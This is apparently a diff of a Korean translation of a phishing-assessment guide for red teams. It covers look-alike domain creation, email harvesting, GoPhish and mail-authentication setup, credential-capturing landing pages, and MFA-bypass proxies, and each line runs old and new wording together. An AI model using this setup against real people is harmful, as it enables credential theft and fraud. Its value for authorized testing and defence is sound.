2. 피해자가 사용하는 **로그인 포털을 찾아** 몇 가지 기본 웹 열거를 수행하고 **가장할 포털을 결정**합니다. 2. 피해자가 사용하는 **로그인 포털**을 찾기 위해 기본 웹 열거 수행 후 **사칭할 것** 결정.
3. **OSINT**를 사용하여 **이메일을 찾습니다**. 3. **OSINT**를 사용하여 **이메일 찾기**.
2. 환경 준비 2. 환경 준비
1. 피싱 평가에 사용할 도메인을 **구입**합니다. 1. 피싱 평가에 사용할 **도메인 구매**.
2. 관련 레코드 (SPF, DMARC, DKIM, rDNS)를 **구성**하여 **이메일 서비스를 구성**합니다. 2. 관련 기록(SPF, DMARC, DKIM, rDNS)으로 **이메일 서비스 구성**.
3. **gophish**로 VPS 구성합니다. 3. **gophish**로 VPS 구성.
3. 캠페인 준비 3. 캠페인 준비
1. **이메일 템플릿**을 준비합니다. 1. **이메일 템플릿** 준비.
2. 자격 증명을 훔치기 위한 **웹 페이지**를 준비합니다. 2. 자격 증명을 훔치기 위한 **웹 페이지** 준비.
4. 캠페인 시작! 4. 캠페인 시작!
## 유사 도메인 이름 생성 또는 신뢰할 수 있는 도메인 구매 ## 유사 도메인 이름 생성 또는 신뢰할 수 있는 도메인 구매
### 도메인 이름 변형 기 ### 도메인 이름 변형 기
* **키워드**: 도메인 이름에 원본 도메인의 중요한 **키워드가 포함**됩니다 (예: zelster.com-management.com). * **키워드**: 도메인 이름에 원래 도메인의 중요한 **키워드** 포함 (예: zelster.com-management.com).
* **하이픈 서브도메인**: 서브도메인의 **점을 하이픈으로 변경**합니다 (예: www-zelster.com). * **하이픈 서브도메인**: 서브도메인의 **점 대신 하이픈** 사용 (예: www-zelster.com).
* **새 TLD**: **새 TLD**를 사용하여 동일한 도메인 (예: zelster.org) * **새 TLD**: **새 TLD**를 사용한 동일 도메인 (예: zelster.org).
* **동형 문자**: 도메인 이름의 문자를 **비슷한 문자로 대체**합니다 (예: zelfser.com). * **호모글리프**: 도메인 이름의 문자를 **유사한 문자로 대체** (예: zelfser.com).
* **교체**: 도메인 이름 내에서 **두 문자를 교환**합니다 (예: zelsetr.com). * **전치**: 도메인 이름 내에서 **두 문자 교환** (예: zelsetr.com).
* **단수화/복수화**: 도메인 이름 끝에 "s"를 추가하거나 제거합니다 (예: zeltsers.com). * **단수화/복수화**: 도메인 이름 끝에 “s” 추가 또는 제거 (예: zeltsers.com).
* **생략**: 도메인 이름에서 **한 문자를 제거**합니다 (예: zelser.com). * **생략**: 도메인 이름에서 **하나의 문자 제거** (예: zelser.com).
* **반복**: 도메인 이름에서 **한 문자를 반복**합니다 (예: zeltsser.com). * **반복**: 도메인 이름에서 **하나의 문자 반복** (예: zeltsser.com).
* **교체**: 동형 문자와 유사하지만 덜 은밀합니다. 도메인 이름의 문자 중 하나를 교체하여 원래 문자와 키보드 상의 근접한 문자로 대체합니다 (예: zektser.com). * **대체**: 호모글리프와 유사하지만 덜 은밀함. 도메인 이름의 문자 중 하나를 원래 문자와 가까운 키보드의 문자로 대체 (예: zektser.com).
* **서브도메인**: 도메인 이름에 **점을** 추가합니다 (예: ze.lster.com). * **서브도메인화**: 도메인 이름 내에 **점 추가** (예: ze.lster.com).
* **삽입**: 도메인 이름에 **문자를 삽입**합니다 (예: zerltser.com). * **삽입**: 도메인 이름에 **문자 삽입** (예: zerltser.com).
* **마침표 누락**: 도메인 이름에 TLD 추가합니다. (예: zelstercom.com) * **누락된 점**: 도메인 이름에 TLD 추가 (예: zelstercom.com).
**자동 도구** **자동 도구**
@ -59,25 +60,25 @@ HackTricks를 지원하는 다른 방법:
### 비트 플리핑 ### 비트 플리핑
**일부 비트가 자동으로 뒤집힐 수 있는** 여러 요인(태양 플레어, 우주선, 하드웨어 오류 등)으로 인해 **저장 또는 통신 중인 일부 비트가 자동으로 뒤집힐 수 있습니다**. 저장되거나 통신 중인 일부 비트가 다양한 요인으로 인해 **자동으로 뒤집힐 가능성**이 있습니다. 예를 들어 태양 플레어, 우주선, 하드웨어 오류 등이 있습니다.
이 개념을 **DNS 요청에 적용**할 때 DNS 서버가 수신한 도메인이 초기 요청한 도메인과 다를 수 있습니다. 이 개념**DNS 요청에 적용될 때**, **DNS 서버가 수신한 도메인**이 처음 요청한 도메인과 다를 수 있습니다.
예를 들어, 도메인 "windows.com"의 단일 비트 수정으로 "windnws.com"으로 변경될 수 있습니다. 예를 들어, "windows.com"의 단일 비트 수정으로 "windnws.com"으로 변경될 수 있습니다.
공격자는 피해자의 도메인과 유사한 여러 비트 플리핑 도메인을 등록하여 **합법적인 사용자를 자신의 인프라로 리디렉션**시킬 수 있습니다. 공격자는 **피해자의 도메인과 유사한 여러 비트 플리핑 도메인을 등록하여 이를 이용할 수 있습니다**. 그들의 의도는 합법적인 사용자를 자신의 인프라로 리디렉션하는 것입니다.
자세한 내용은 [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)에서 확인하세요. 자세한 내용은 [여기](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)를 읽어보세요.
### 신뢰할 수 있는 도메인 구매 ### 신뢰할 수 있는 도메인 구매
[https://www.expireddomains.net/](https://www.expireddomains.net)에서 사용할 만료된 도메인을 검색할 수 있습니다.\ [https://www.expireddomains.net/](https://www.expireddomains.net)에서 사용할 수 있는 만료된 도메인을 검색할 수 있습니다.\
사용할 만료된 도메인이 **이미 좋은 SEO를 가지고 있는지 확인**하려면 다음에서 카테고리화되어 있는지 확인할 수 있습니다: 구매할 만료된 도메인이 **이미 좋은 SEO**를 가지고 있는지 확인하기 위해 다음에서 분류를 검색할 수 있습니다:
* [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) * [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
* [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) * [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
## 이메일 발견 ## 이메일 발견하기
* [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% 무료) * [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% 무료)
* [https://phonebook.cz/](https://phonebook.cz) (100% 무료) * [https://phonebook.cz/](https://phonebook.cz) (100% 무료)
@ -85,17 +86,17 @@ HackTricks를 지원하는 다른 방법:
* [https://hunter.io/](https://hunter.io) * [https://hunter.io/](https://hunter.io)
* [https://anymailfinder.com/](https://anymailfinder.com) * [https://anymailfinder.com/](https://anymailfinder.com)
더 많은 유효한 이메일 주소를 **발견**하거나 이미 발견한 이메일 주소를 **확인**하려면 피해자의 smtp 서버를 브루트 포스할 수 있는지 확인하세요. [여기에서 이메일 주소를 확인/발견하는 방법을 배우세요](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration).\ **더 많은** 유효한 이메일 주소를 **발견하거나 이미 발견한 이메일 주소를 확인**하기 위해 피해자의 SMTP 서버를 브루트포스할 수 있는지 확인할 수 있습니다. [이메일 주소 확인/발견 방법 배우기](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration).\
또한 사용자가 **메일에 액세스하기 위해 웹 포털을 사용하는 경우**, 해당 포털이 **사용자 이름 브루트 포스**에 취약한지 확인하고 가능한 경우 취약점을 악용할 수 있습니다. 또한 사용자가 **메일에 접근하기 위해 웹 포털을 사용하는 경우**, 해당 포털이 **사용자 이름 브루트포스**에 취약한지 확인하고 가능하다면 취약점을 악용하는 것을 잊지 마세요.
## GoPhish 구성 ## GoPhish 구성하기
### 설치 ### 설치
[https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)에서 다운로드할 수 있습니다. [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)에서 다운로드할 수 있습니다.
다운로드하여 `/opt/gophish` 내부에 압축을 푼 후 `/opt/gophish/gophish`를 실행하세요.\ 다운로드`/opt/gophish`에 압축을 풀고 `/opt/gophish/gophish`를 실행하세요.\
출력에서 관리자 사용자의 암호가 제공됩니다. 따라서 해당 포트에 액세스하여 해당 자격 증명을 사용하여 관리자 암호를 변경하세요. 해당 포트를 로컬로 터널링해야 할 수도 있습니다. 출력에서 포트 3333의 관리자 사용자 비밀번호가 제공됩니다. 따라서 해당 포트에 접근하고 해당 자격 증명을 사용하여 관리자 비밀번호를 변경하세요. 이 포트를 로컬로 터널링해야 할 수도 있습니다.
```bash ```bash
ssh -L 3333:127.0.0.1:3333 <user>@<ip> ssh -L 3333:127.0.0.1:3333 <user>@<ip>
``` ```
@ -103,7 +104,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
**TLS 인증서 구성** **TLS 인증서 구성**
이 단계 이전에는 이미 사용할 도메인을 **구입**하고 있어야 하며, 해당 도메인은 **gophish**를 구성하는 **VPS의 IP**를 **가리키고 있어야** 합니다. 이 단계 전에 사용하려는 **도메인을 이미 구매**해야 하며, 해당 도메인은 **gophish**를 구성하는 **VPS의 IP**를 **가리키고** 있어야 합니다.
```bash ```bash
DOMAIN="<domain>" DOMAIN="<domain>"
wget https://dl.eff.org/certbot-auto wget https://dl.eff.org/certbot-auto
@ -121,22 +122,22 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
``` ```
**메일 구성** **메일 구성**
시작 설치: `apt-get install postfix` 설치를 시작합니다: `apt-get install postfix`
다음 파일에 도메인을 추가하십시오: 그런 다음 도메인을 다음 파일에 추가합니다:
* **/etc/postfix/virtual\_domains** * **/etc/postfix/virtual\_domains**
* **/etc/postfix/transport** * **/etc/postfix/transport**
* **/etc/postfix/virtual\_regexp** * **/etc/postfix/virtual\_regexp**
**또한 /etc/postfix/main.cf 내의 다음 변수 값을 변경하십시오** **/etc/postfix/main.cf** 내부의 다음 변수 값도 변경합니다.
`myhostname = <도메인>`\ `myhostname = <domain>`\
`mydestination = $myhostname, <도메인>, localhost.com, localhost` `mydestination = $myhostname, <domain>, localhost.com, localhost`
마지막으로 **`/etc/hostname`** 및 **`/etc/mailname`** 파일을 도메인 이름으로 수정하고 **VPS를 다시 시작하십시오.** 마지막으로 **`/etc/hostname`** 및 **`/etc/mailname`** 파일을 도메인 이름으로 수정하고 **VPS를 재시작합니다.**
이제, `mail.<도메인>`을 VPS의 **IP 주소**로 가리키는 **DNS A 레코드**를 만들고, `mail.<도메인>`을 가리키는 **DNS MX** 레코드를 만듭니다. 이제 **DNS A 레코드**를 `mail.<domain>`으로 생성하여 **VPS의 IP 주소**를 가리키고, **DNS MX** 레코드를 `mail.<domain>`으로 설정합니다.
이제 이메일을 보내는 테스트를 해봅시다: 이제 이메일을 보내는 테스트를 해봅시다:
```bash ```bash
@ -145,8 +146,8 @@ echo "This is the body of the email" | mail -s "This is the subject line" test@e
``` ```
**Gophish 구성** **Gophish 구성**
gophish의 실행을 중지하고 구성합다.\ gophish의 실행을 중지하고 구성합다.\
`/opt/gophish/config.json`을 다음과 같이 수정하십시오 (https 사용에 유의): `/opt/gophish/config.json`을 다음과 같이 수정합니다 (https 사용에 유의):
```bash ```bash
{ {
"admin_server": { "admin_server": {
@ -173,7 +174,7 @@ gophish의 실행을 중지하고 구성합니다.\
``` ```
**gophish 서비스 구성** **gophish 서비스 구성**
gophish 서비스를 생성하여 자동으로 시작되고 서비스로 관리할 수 있도록 하려면 다음 내용으로 `/etc/init.d/gophish` 파일을 생성할 수 있습니다: gophish 서비스를 자동으로 시작하고 서비스로 관리할 수 있도록 하려면 다음 내용을 포함한 파일 `/etc/init.d/gophish` 생성할 수 있습니다:
```bash ```bash
#!/bin/bash #!/bin/bash
# /etc/init.d/gophish # /etc/init.d/gophish
@ -220,7 +221,7 @@ case $1 in
start|stop|status) "$1" ;; start|stop|status) "$1" ;;
esac esac
``` ```
서비스 구성을 완료하고 다음을 수행하여 확인하십시오: 서비스 구성을 마치고 다음을 수행하여 확인하십시오:
```bash ```bash
mkdir /var/log/gophish mkdir /var/log/gophish
chmod +x /etc/init.d/gophish chmod +x /etc/init.d/gophish
@ -233,39 +234,39 @@ service gophish stop
``` ```
## 메일 서버 및 도메인 구성 ## 메일 서버 및 도메인 구성
### 기다리고 정품처럼 보이 ### 기다리고 합법적으로 행동하
도메인이 오래될수록 스팸으로 감지될 가능성이 적어집니다. 따라서 피싱 평가를 진행하기 전에 최대한 많은 시간(적어도 1주일)을 기다려야 합니다. 게다가, 평판이 좋은 섹터에 관한 페이지를 넣으면 얻는 평판도 더 좋아집니다. 도메인이 오래될수록 스팸으로 걸릴 확률이 낮아집니다. 따라서 피싱 평가 전에 가능한 한 오랫동안 기다려야 합니다(최소 1주일). 또한, 평판이 좋은 분야에 대한 페이지를 만들면 얻는 평판이 더 좋습니다.
1주일을 기다려야 하지만 지금 모든 것을 구성할 수 있습니다. 1주일을 기다려야 하더라도 지금 모든 구성을 마칠 수 있다는 점에 유의하세요.
### 역방향 DNS (rDNS) 레코드 구성 ### 역 DNS (rDNS) 레코드 구성
VPS의 IP 주소를 도메인 이름으로 해석하는 rDNS (PTR) 레코드를 설정합니다. VPS의 IP 주소를 도메인 이름으로 해석하는 rDNS (PTR) 레코드를 설정합니다.
### 발신자 정책 프레임워크 (SPF) 레코드 ### 발신자 정책 프레임워크 (SPF) 레코드
**새 도메인에 SPF 레코드를 구성**해야 합니다. SPF 레코드가 무엇인지 모르는 경우 [**이 페이지**](../../network-services-pentesting/pentesting-smtp/#spf)를 읽어보세요. **새 도메인에 대한 SPF 레코드를 구성해야 합니다.** SPF 레코드가 무엇인지 모른다면 [**이 페이지를 읽어보세요**](../../network-services-pentesting/pentesting-smtp/#spf).
[https://www.spfwizard.net/](https://www.spfwizard.net)을 사용하여 SPF 정책을 생성할 수 있습니다 (VPS 머신의 IP를 사용). [https://www.spfwizard.net/](https://www.spfwizard.net) 를 사용하여 SPF 정책을 생성할 수 있습니다(사용할 VPS 머신의 IP를 입력하세요).
![](<../../.gitbook/assets/image (1037).png>) ![](<../../.gitbook/assets/image (1037).png>)
도메인 내의 TXT 레코드에 설정해야 하는 내용입니다: 도메인 내 TXT 레코드에 설정해야 하는 내용은 다음과 같습니다:
```bash ```bash
v=spf1 mx a ip4:ip.ip.ip.ip ?all v=spf1 mx a ip4:ip.ip.ip.ip ?all
``` ```
### 도메인 기반 메시지 인증, 보고 및 준수(Domain-based Message Authentication, Reporting & Conformance, DMARC) 레코드 ### Domain-based Message Authentication, Reporting & Conformance (DMARC) Record
**새 도메인에 대한 DMARC 레코드를 구성해야**합니다. DMARC 레코드가 무엇인지 모르는 경우 [**이 페이지를 읽으십시오**](../../network-services-pentesting/pentesting-smtp/#dmarc). 새 도메인에 대해 **DMARC 레코드를 구성해야 합니다**. DMARC 레코드가 무엇인지 모른다면 [**이 페이지를 읽어보세요**](../../network-services-pentesting/pentesting-smtp/#dmarc).
다음 내용을 포함하는 새 DNS TXT 레코드를 생성해야 합니다. 호스트 이름을 `_dmarc.<도메인>`으로 지정하십시오. 다음 내용을 포함하여 호스트 이름 `_dmarc.<domain>`을 가리키는 새로운 DNS TXT 레코드를 생성해야 합니다:
```bash ```bash
v=DMARC1; p=none v=DMARC1; p=none
``` ```
### 도메인키 식별 메일 (DKIM) ### DomainKeys Identified Mail (DKIM)
**새 도메인에 대한 DKIM을 구성해야**합니다. DMARC 레코드가 무엇인지 모르는 경우 [**이 페이지를 읽어보세요**](../../network-services-pentesting/pentesting-smtp/#dkim). 새 도메인에 대해 **DKIM을 구성해야 합니다**. DMARC 레코드가 무엇인지 모른다면 [**이 페이지를 읽어보세요**](../../network-services-pentesting/pentesting-smtp/#dkim).
이 튜토리얼은 다음을 기반으로 합니다: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) 이 튜토리얼은 다음을 기반으로 합니다: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
@ -278,13 +279,13 @@ v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqP
### 이메일 구성 점수 테스트 ### 이메일 구성 점수 테스트
[https://www.mail-tester.com/](https://www.mail-tester.com)를 사용하여 이를 수행할 수 있습니다.\ [https://www.mail-tester.com/](https://www.mail-tester.com) 를 사용하여 할 수 있습니다.\
페이지에 액세스하여 제공된 주소로 이메일을 보내보세요: 페이지에 접속하여 그들이 제공하는 주소로 이메일을 보내세요:
```bash ```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
``` ```
당신은 또한 이메일 구성을 확인할 수 있습니다. `check-auth@verifier.port25.com` 로 이메일을 보내고 응답을 읽어보세요 (이를 위해 포트 25를 열어야 하며, root로 이메일을 보내면 파일 _/var/mail/root_ 에 응답을 확인할 수 있습니다).\ 당신은 또한 **이메일 구성을 확인할 수 있습니다** `check-auth@verifier.port25.com`으로 이메일을 보내고 **응답을 읽는 것** (이를 위해서는 **포트 25를 열고** 이메일을 루트로 보냈을 경우 _/var/mail/root_ 파일에서 응답을 확인해야 합니다).\
모든 테스트를 통과는지 확인하세요: 모든 테스트를 통과는지 확인하세요:
```bash ```bash
========================================================== ==========================================================
Summary of Results Summary of Results
@ -295,41 +296,41 @@ DKIM check: pass
Sender-ID check: pass Sender-ID check: pass
SpamAssassin check: ham SpamAssassin check: ham
``` ```
당신은 **자신이 제어하는 Gmail로 메시지를 보내고**, Gmail 받은 편지함에서 **이메일 헤더**를 확인할 수 있습니다. `Authentication-Results` 헤더 필드에 `dkim=pass`가 포함되어 있어야 합니다. 당신은 또한 **당신이 제어하는 Gmail로 메시지를 보낼 수** 있으며, Gmail 받은편지함에서 **이메일의 헤더**를 확인할 수 있습니다. `dkim=pass``Authentication-Results` 헤더 필드에 있어야 합니다.
``` ```
Authentication-Results: mx.google.com; Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com; dkim=pass header.i=@example.com;
``` ```
### 스팸하우스 블랙리스트에서 제거 ### 스팸하우스 블랙리스트에서 제거하기
페이지 [www.mail-tester.com](https://www.mail-tester.com)에서 도메인이 스팸하우스에 의해 차단되었는지 확인할 수 있습니다. 도메인/IP를 제거하려면 다음 주소에서 요청할 수 있습니다: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) 페이지 [www.mail-tester.com](https://www.mail-tester.com)에서 귀하의 도메인이 스팸하우스에 의해 차단되고 있는지 확인할 수 있습니다. 귀하의 도메인/IP를 제거 요청할 수 있는 곳: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
### 마이크로소프트 블랙리스트에서 제거 ### 마이크로소프트 블랙리스트에서 제거하기
도메인/IP를 제거하려면 [https://sender.office.com/](https://sender.office.com)에서 요청할 수 있습니다. ​​귀하의 도메인/IP를 제거 요청할 수 있는 곳: [https://sender.office.com/](https://sender.office.com).
## GoPhish 캠페인 생성 및 실행 ## GoPhish 캠페인 생성 및 시작
### 발신 프로필 ### 발신 프로필
* **발신자 프로필을 식별할 이름**을 설정합니다. * 발신자 프로필을 식별할 **이름 설정**
* 어떤 계정에서 피싱 이메일을 보낼지 결정합니다. 제안: _noreply, support, servicedesk, salesforce..._ * 피싱 이메일을 보낼 계정을 결정합니다. 제안: _noreply, support, servicedesk, salesforce..._
* 사용자 이름과 비밀번호를 비워 둘 수 있지만 **인증서 오류 무시**를 확인해야 합니다. * 사용자 이름과 비밀번호는 비워둘 수 있지만, 인증서 오류 무시를 체크하는 것을 잊지 마세요.
![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) ![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
{% hint style="info" %} {% hint style="info" %}
**테스트 이메일 보내기** 기능을 사용하여 모든 것이 작동하는지 테스트하는 것이 좋습니다.\ 모든 것이 작동하는지 테스트하기 위해 "**테스트 이메일 보내기**" 기능을 사용하는 것이 좋습니다.\
테스트를 수행하여 블랙리스트에 올라가지 않도록 **10분 메일 주소로 테스트 이메일을 보내는 것이 좋습니다**. 테스트를 진행할 때 블랙리스트에 올라가는 것을 피하기 위해 **10분 메일 주소로 테스트 이메일을 보내는 것을 추천합니다.**
{% endhint %} {% endhint %}
### 이메일 템플릿 ### 이메일 템플릿
* **템플릿을 식별할 이름**을 설정합니다. * 템플릿을 식별할 **이름 설정**
* 그런 다음 **제목**을 작성합니다(이상한 내용이 아닌 일반적인 이메일에서 읽을 수 있는 내용). * 그런 다음 **제목**을 작성합니다 (이상한 것이 아닌, 일반 이메일에서 읽을 수 있을 법한 내용)
* **추적 이미지 추가**를 확인했는지 확인합니다. * "**추적 이미지 추가**"를 체크했는지 확인하세요.
* **이메일 템플릿**을 작성합니다(다음 예제처럼 변수를 사용할 수 있습니다): * **이메일 템플릿**을 작성합니다 (다음 예제와 같이 변수를 사용할 수 있습니다):
```markup ```markup
<html> <html>
<head> <head>
@ -348,112 +349,127 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
</body> </body>
</html> </html>
``` ```
**이메일의 신뢰성을 높이기 위해**, 클라이언트 이메일에서 서명을 사용하는 것이 권장됩니다. 제안: Note that **이메일의 신뢰성을 높이기 위해**, 클라이언트 이메일 서명을 사용하는 것이 권장됩니다. 제안 사항:
* **존재하지 않는 주소**로 이메일을 보내 응답에 서명이 있는지 확인합니다. * **존재하지 않는 주소**로 이메일을 보내 응답에 서명이 있는지 확인합니다.
* info@ex.com 또는 press@ex.com 또는 public@ex.com과 같은 **공개 이메일**을 검색하고 이메일을 보내 응답을 기다립니다. * info@ex.com, press@ex.com 또는 public@ex.com과 같은 **공개 이메일**을 검색하고 이메일을 보내 응답을 기다립니다.
* **일부 유효한 발견된** 이메일에 연락해 응답을 기다립니다. * **발견된 유효한 이메일**에 연락을 시도하고 응답을 기다립니다.
![](<../../.gitbook/assets/image (80).png>) ![](<../../.gitbook/assets/image (80).png>)
{% hint style="info" %} {% hint style="info" %}
이메일 템플릿은 **파일을 첨부하여 전송**할 수 있습니다. 특별히 제작된 파일/문서를 사용하여 NTLM 도전을 도용하고 싶다면 [이 페이지](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)를 참조하세요. 이메일 템플릿은 **전송할 파일을 첨부**할 수 있습니다. NTLM 챌린지를 특별히 제작된 파일/문서를 사용하여 훔치고 싶다면 [이 페이지를 읽어보세요](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
{% endhint %} {% endhint %}
### 랜딩 페이지 ### 랜딩 페이지
* **이름 작성** * **이름**을 작성합니다.
* 웹 페이지의 **HTML 코드 작성**. 웹 페이지를 **가져올 수 있음**을 참고하세요. * 웹 페이지의 **HTML 코드를 작성**합니다. 웹 페이지를 **가져올 수** 있습니다.
* **제출된 데이터 캡처****비밀번호 캡처** 표시 * **제출된 데이터 캡처****비밀번호 캡처**를 선택합니다.
* **리다이렉션 설정** * **리디렉션**을 설정합니다.
![](<../../.gitbook/assets/image (826).png>) ![](<../../.gitbook/assets/image (826).png>)
{% hint style="info" %} {% hint style="info" %}
보통 페이지의 HTML 코드를 수정하고 로컬에서 테스트를 수행한 후 (아파치 서버를 사용하여) **원하는 결과를 얻을 때까지** 수정해야 합니다. 그런 다음 해당 HTML 코드를 상자에 작성하세요.\ 보통 페이지의 HTML 코드를 수정하고 로컬에서 몇 가지 테스트를 해야 합니다(아마도 Apache 서버를 사용하여) **결과가 마음에 들 때까지**. 그런 다음 그 HTML 코드를 상자에 작성합니다.\
HTML에 **일부 정적 리소스를 사용해야 하는 경우** (CSS 및 JS 페이지 등) _**/opt/gophish/static/endpoint**_에 저장한 다음 _**/static/\<filename>**_에서 액세스할 수 있습니다. HTML에 **정적 리소스**(아마도 CSS 및 JS 페이지)를 사용해야 하는 경우 _**/opt/gophish/static/endpoint**_에 저장한 후 _**/static/\<filename>**_에서 접근할 수 있습니다.
{% endhint %} {% endhint %}
{% hint style="info" %} {% hint style="info" %}
다이렉션으로 사용자를 피해자의 **정품 메인 웹 페이지로 리다이렉트**하거나 예를 들어 _/static/migration.html_로 리다이렉트하여 5초 동안 **회전하는 바퀴**([**https://loading.io/**](https://loading.io))를 표시한 후 프로세스가 성공적이었음을 나타낼 수 있습니다. 디렉션을 위해 **사용자를 피해자의 합법적인 메인 웹 페이지로 리디렉션**하거나 예를 들어 _/static/migration.html_로 리디렉션하여 **5초 동안 회전하는 휠(**[**https://loading.io/**](https://loading.io)**)을 표시한 후 프로세스가 성공적이었다고 알릴 수 있습니다.**
{% endhint %} {% endhint %}
### 사용자 및 그룹 ### 사용자 및 그룹
* 이름 설정 * 이름 설정합니다.
* 데이터 **가져오기** (예제에 사용할 템플릿을 사용하려면 각 사용자의 이름, 성 및 이메일 주소가 필요합니다) * **데이터를 가져옵니다**(예제를 위한 템플릿을 사용하려면 각 사용자의 이름, 성 및 이메일 주소가 필요합니다).
![](<../../.gitbook/assets/image (163).png>) ![](<../../.gitbook/assets/image (163).png>)
### 캠페인 ### 캠페인
마지막으로, 캠페인을 생성하여 이름, 이메일 템플릿, 랜딩 페이지, URL, 전송 프로필 및 그룹을 선택합니다. URL은 피해자에게 보낼 링크가 될 것임을 유의하세요. 마지막으로 이름, 이메일 템플릿, 랜딩 페이지, URL, 전송 프로필 및 그룹을 선택하여 캠페인을 생성합니다. URL은 피해자에게 전송될 링크가 됩니다.
**전송 프로필을 사용하여 최종 피싱 이메일이 어떻게 보일지 확인할 수 있습니다**: **전송 프로필은 최종 피싱 이메일이 어떻게 보일지 테스트 이메일을 보낼 수 있게 해줍니다**:
![](<../../.gitbook/assets/image (192).png>) ![](<../../.gitbook/assets/image (192).png>)
{% hint style="info" %} {% hint style="info" %}
테스트 이메일을 10분 메일 주소로 보내 테스트를 수행하여 블랙리스트에 올라가지 않도록 하는 것이 좋습니다. 테스트 이메일을 **10분 메일 주소**로 보내는 것을 권장합니다. 테스트를 하면서 블랙리스트에 오르는 것을 피할 수 있습니다.
{% endhint %} {% endhint %}
모든 것이 준비되면 캠페인을 시작하세요! 모든 준비가 완료되면 캠페인을 시작하세요!
## 웹사이트 복제 ## 웹사이트 클로닝
어떤 이유로든 웹사이트를 복제하고 싶다면 다음 페이지를 확인하세요: 어떤 이유로 웹사이트를 클론하고 싶다면 다음 페이지를 확인하세요:
{% content-ref url="clone-a-website.md" %} {% content-ref url="clone-a-website.md" %}
[clone-a-website.md](clone-a-website.md) [clone-a-website.md](clone-a-website.md)
{% endcontent-ref %} {% endcontent-ref %}
## 백도어 문서 및 파일 ## 백도어가 포함된 문서 및 파일
일부 피싱 평가(주로 Red Team을 위한 것)에서는 **백도어가 포함된 파일을 전송**하고 싶을 수도 있습니다(C2일 수도 있고 인증을 트리거할 수도 있습니다).\ 일부 피싱 평가(주로 레드 팀의 경우)에서는 **어떤 종류의 백도어가 포함된 파일을 전송**하고 싶을 수 있습니다(아마도 C2이거나 인증을 트리거하는 것일 수 있습니다).\
일부 예제를 보려면 다음 페이지를 확인하세요: 다음 페이지에서 몇 가지 예를 확인하세요:
{% content-ref url="phishing-documents.md" %} {% content-ref url="phishing-documents.md" %}
[phishing-documents.md](phishing-documents.md) [phishing-documents.md](phishing-documents.md)
{% endcontent-ref %} {% endcontent-ref %}
## MFA 피싱 ## 피싱 MFA
### 프록시 MitM 통한 ### 프록시 MitM 통한
이전 공격은 사용자가 설정한 정보를 수집하고 실제 웹사이트의 로그인 폼을 위장하는 것이므로 꽤 교묘합니다. 그러나 사용자가 올바른 비밀번호를 입력하지 않았거나 사용자가 설정한 애플리케이션이 2단계 인증(2FA)으로 구성된 경우, **이 정보만으로 속은 사용자를 흉내낼 수 없습니다**. 이전 공격은 실제 웹사이트를 가장하고 사용자가 설정한 정보를 수집하는 매우 영리한 방법입니다. 불행히도 사용자가 올바른 비밀번호를 입력하지 않거나 가장한 애플리케이션이 2FA로 구성된 경우, **이 정보로 속인 사용자를 가장할 수 없습니다**.
이때 [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) 및 [**muraena**](https://github.com/muraenateam/muraena)와 같은 도구가 유용합니다. 이 도구를 사용하면 MitM과 같은 공격을 생성할 수 있습니다. 기본적으로 공격은 다음과 같이 작동합니다: 이때 [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) 및 [**muraena**](https://github.com/muraenateam/muraena)와 같은 도구가 유용합니다. 이 도구는 MitM과 같은 공격을 생성할 수 있게 해줍니다. 기본적으로 공격은 다음과 같이 작동합니다:
